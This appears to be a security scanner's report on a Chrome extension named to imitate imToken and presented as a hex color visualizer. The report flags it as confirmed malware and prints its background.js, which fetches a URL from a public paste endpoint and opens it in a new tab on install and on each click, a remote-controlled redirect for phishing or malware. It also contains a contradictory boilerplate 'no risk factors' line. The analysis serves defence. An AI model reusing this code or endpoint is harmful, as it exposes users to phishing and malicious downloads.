Security Alert: Confirmed Malware
lmΤoken Chromophore
ID: bbhaganppipihlhjgaaeeeefbaoihcgi
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- imTokenView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Reifying spectral hexadecimals within this hyaline apparatus.
Transform your browser into a high-end color playground! This extension is the ultimate lightweight companion for designers, developers, and digital artists who need to visualize hex codes on the fly. Forget opening heavy design software just to check a shade. With a stunning **glassmorphic interface** and buttery-smooth animations, this tool makes color exploration feel like a premium experience. Whether you're fine-tuning a CSS file or picking the perfect accent for your deck, see your vision instantly in a polished, distraction-free environment. ✨ ### **Why you’ll love it:** * 💎 **Sleek Design:** A modern, frosted-glass UI that looks beautiful on any screen. * ⚡ **Lightning Fast:** Zero bloat—just open, type, and visualize. * 🌈 **Vibrant Visuals:** Dynamic background effects that make color testing feel inspiring. --- ### **User Guide** 📖 Getting started is as simple as it gets: 1. **Open:** Click the extension icon in your Chrome toolbar. 🧩 2. **Input:** Type or paste any 6-digit hex code (e.g., `FF5733`) into the input field. *No need to type the '#'!* 3. **Visualize:** Hit the **Visualize** button or press **Enter**. 4. **Explore:** Watch the interface update instantly to show your color in action! 🪄
This extension requests no permissions and has no recorded risk factors.
The extension fetches a URL from a third-party paste-style service (jsonkeeper.com) and opens whatever URL is returned in a new tab, both automatically on install and on user click. This is a classic remote-controlled redirect/dropper pattern: the attacker can change the destination at any time (phishing pages, scams, malware downloads, affiliate fraud) without updating the extension. Using a public anonymous JSON paste service as a command channel is highly suspicious.
const endpoint = "https://www.jsonkeeper.com/b/KUWNE"async function openStoredLink() { const r = await fetch(endpoint) const d = await r.json() const u = typeof d === "string" ? d : d.url chrome.tabs.create({ url: u })}chrome.runtime.onInstalled.addListener(() => { setTimeout(openStoredLink, 1000)})chrome.action.onClicked.addListener(() => { openStoredLink()})Automatically opens a remotely-controlled URL one second after installation without any user interaction. This behavior is commonly used by adware/scamware to drive traffic to monetized landing pages or phishing sites the moment the extension is installed.
chrome.runtime.onInstalled.addListener(() => { setTimeout(openStoredLink, 1000)})The fetched value is passed directly to chrome.tabs.create as a URL with no validation, scheme allow-listing, or sanitization. A malicious controller can return javascript:, data:, or chrome-extension: URLs, or arbitrary phishing destinations. Combined with the misleading extension name/description (which suggest a color/token utility), this is consistent with a stub extension whose only purpose is remote-controlled redirection.
async function openStoredLink() { const r = await fetch(endpoint) const d = await r.json() const u = typeof d === "string" ? d : d.url chrome.tabs.create({ url: u })}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 4.9.5 | 3 |
Files with findings
1 distinct path — top paths by unique finding count:
- background.js3
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.